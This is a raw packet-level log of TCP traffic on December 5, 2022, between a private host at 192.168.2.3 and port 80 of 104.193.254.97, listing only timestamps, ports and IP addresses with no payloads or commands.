Dec 5, 2022 06:44:45.324454069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.324480057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324522018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324537992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.324551105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.324601889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.339878082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.339936018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.339960098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.339979887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.340012074 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.340012074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.340030909 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.347642899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347703934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347734928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347774982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347805023 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.347815990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347855091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.347856045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347873926 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.347886086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347902060 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.347925901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347965956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.347980976 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348007917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348016977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348037004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348058939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348078012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348119020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348157883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348171949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348187923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348231077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348247051 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348270893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348299026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348313093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348316908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348341942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348381996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348395109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348422050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348449945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348464966 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348484039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348490953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348531008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348570108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348586082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.348598957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348640919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.348654032 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.349442005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.488886118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.488944054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.488971949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.488975048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489032984 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.489176035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489238024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489283085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489326000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489327908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.489372969 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.489402056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489425898 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.489433050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489456892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.489471912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.489525080 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.503346920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.503393888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.503436089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.503513098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.503513098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512085915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512146950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512180090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512221098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512268066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512299061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512330055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512330055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512330055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512339115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512381077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512409925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512449026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512468100 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512489080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512517929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512557030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512572050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512598038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512626886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512665033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512679100 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512706041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512733936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512773037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512787104 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512813091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512841940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512866020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512881041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512919903 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512948990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.512975931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.512988091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513027906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513056993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513094902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513109922 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513134956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513164997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513204098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513221979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513247013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513276100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513314962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513326883 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513355017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513382912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513422966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513432980 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513463974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513490915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513530970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513540983 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513571024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513598919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513638020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513648033 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513676882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513705969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513757944 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.513943911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.513984919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.514014959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.514054060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.514065981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.569756985 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666183949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666246891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666279078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666318893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666361094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666373014 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666393042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666434050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666474104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666486979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666502953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666544914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666554928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666585922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666626930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666646004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666656971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666696072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666735888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666764021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666791916 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666821003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666862965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.666904926 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.666924000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686522007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686573982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686604023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686623096 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.686644077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686687946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686702013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.686716080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686755896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686796904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686824083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686857939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.686866045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686933994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.686963081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687001944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687005997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687043905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687052965 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687072039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687109947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687150955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687164068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687179089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687217951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687259912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687272072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687303066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687344074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687383890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687412977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687433958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687453985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687494040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687521935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687549114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687572002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687611103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687638998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687660933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687686920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687726974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687750101 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687755108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687794924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687834024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687863111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687901974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687901974 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.687943935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687973976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.687999010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688011885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688051939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688081026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688106060 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688119888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688159943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688188076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688213110 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688227892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688271999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688298941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688324928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688338995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688380957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688407898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688435078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688446999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688487053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688498020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688515902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688555956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688595057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688622952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688649893 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688662052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688700914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688728094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688752890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688766956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688807011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688837051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688862085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688875914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688915968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688929081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.688946009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.688985109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689023972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689052105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689074039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689090967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689131975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689142942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689160109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689199924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689239979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689270020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689295053 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689310074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689351082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689379930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689405918 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689419985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689459085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689486980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689510107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689526081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689564943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689575911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689593077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689631939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689672947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689702034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689724922 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689739943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689785004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689801931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689815044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689852953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689892054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689920902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.689944029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.689959049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690000057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690011978 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690031052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690069914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690109968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690138102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690162897 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690177917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690217018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690231085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690248013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690285921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690325975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690354109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690375090 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690396070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690435886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690449953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690464020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690505028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690543890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690572023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690598011 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690610886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690651894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690681934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690704107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690720081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690759897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690772057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690789938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690829039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690866947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690917969 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.690931082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.690968990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691010952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691025972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691040993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691080093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691119909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691148043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.691171885 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.691186905 CET	80	49705	104.193.254.97	192.168.2.3
